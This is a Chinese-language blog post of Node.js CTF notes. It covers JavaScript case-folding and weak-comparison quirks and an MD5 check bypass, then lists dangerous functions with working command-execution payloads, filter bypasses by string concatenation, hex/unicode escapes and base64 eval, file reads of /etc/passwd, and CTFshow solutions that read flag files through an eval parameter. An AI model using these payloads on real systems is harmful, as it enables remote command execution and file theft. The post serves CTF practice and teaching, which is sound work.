Nodejs ctf 基础

阅读约 4 分钟

​# Nodejs语言缺点

大小写特性

toUpperCase()

toLowerCase()

对于toUpperCase(): 字符"ı""ſ" 经过toUpperCase处理后结果为 "I""S"

对于toLowerCase(): 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

弱类型比较

大小比较:

console.log(1=='1'); //true 
console.log(1>'2'); //false 
console.log('1'<'2'); //true 
console.log(111>'3'); //true 
console.log('111'>'3'); //false 
console.log('asd'>1); //false

总结:数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是false

数组比较:

console.log([]==[]); //false 
console.log([]>[]); //false
console.log([6,2]>[5]); //true 
console.log([100,2]<'test'); //true 
console.log([1,2]<'2');  //true 
console.log([11,16]<"10"); //false

总结:空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较

还有一些比较特别的相等:

console.log(null==undefined) // 输出:true 
console.log(null===undefined) // 输出:false 
console.log(NaN==NaN)  // 输出:false 
console.log(NaN===NaN)  // 输出:false

变量拼接:

console.log(5+[6,6]); //56,3 
console.log("5"+6); //56 
console.log("5"+[6,6]); //56,6 
console.log("5"+["6","6"]); //56,6

MD5的绕过

a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

a[x]=1&b[x]=2

数组会被解析成[object Object]      

a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

a=[1]
b=[2]

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

编码绕过

16进制编码

console.log("a"==="\x61"); // true

unicode编码

console.log("\u0061"==="a"); // true

base编码

eval(Buffer.from('Y29uc29sZS5sb2coImhhaGFoYWhhIik7','base64').toString())

nodejs危险函数的利用

命令执行

exec()

require('child_process').exec('open /System/Applications/Calculator.app');

eval()

console.log(eval("document.cookie")); //执行document.cookie
console.log("document.cookie"); //输出document.cookie

文件读写

readFile()

require('fs').readFile('/etc/passwd', 'utf-8', (err, data) => {
 if (err) throw err;
 console.log(data);
});

readFileSync()

require('fs').readFileSync('/etc/passwd','utf-8')

writeFileSync()

require('fs').writeFileSync('input.txt','sss');

writeFile()

require('fs').writeFile('input.txt','test',(err)=>{})

nodejs危险函数-RCE bypass

bypass

原型:

require("child_process").execSync('cat flag.txt')

字符拼接:

require("child_process")['exe'%2b'cSync']('cat flag.txt')
//(%2b就是+的url编码)

require('child_process')["exe".concat("cSync")]("open /System/Applications/Calculator.app/")

编码绕过:

require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat flag.txt')
require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat fl001g.txt')
eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwLycpOw==','base64').toString()) //弹计算器

模板拼接:

require("child_process")[`${`${`exe`}cSync`}`]('open /System/Applications/Calculator.app/')

其他函数:

require("child_process").exec("sleep 3"); 
require("child_process").execSync("sleep 3"); 
require("child_process").execFile("/bin/sleep",["3"]); *//调用某个可执行文件,在第二个参数传args* 
require("child_process").spawn('sleep', ['3']); 
require("child_process").spawnSync('sleep', ['3']); 
require("child_process").execFileSync('sleep', ['3']);

CTFshow 例题

web334

user.js

login.js

我们输入的 name 不为 CTFSHOW 然后 name 转换后的大写为 CTFSHOW ,密码为 123456 即可。

用到了大小写特征

对于toUpperCase(): 字符"ı""ſ" 经过toUpperCase处理后结果为 "I""S"

那么username=ctfſhow , password=123456 即可

web335

源码中有提示 ?eval

应该执行eval()函数,可以执行js代码,那么就可以执行系统命令了

收集一下nodejs 的命令执行payload

require('child_process').spawnSync('ls',['.']).stdout.toString()
require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

require('child_process').execSync('cat fl*').toString()

global.process.mainModule.constructor._load('child_process').execSync('cat fl*').toString()

web336

依旧是get传eval

不同上一题是,不能用execSync了

用spawnSync 可以, 但用通配符读不到

?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

web337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
      res.end(flag);
  }else{
      res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

上文讲到的 md5绕过

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
      res.end(flag);

payload:

?a[x]=1&b[x]=2


 赏 
感谢您的支持,我会继续努力哒!
~~  The   End  ~~

文章二维码 本文标签:web
最后编辑:2022 年 07 月 23 日 16:32 By ThnPkm
本文链接:http://thnpkm.xyz/index.php/archives/68/(转载时请注明出处及链接! )
作品采用: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0) 许可协议授权。
1 + 3 =
快来做第一个评论的人吧~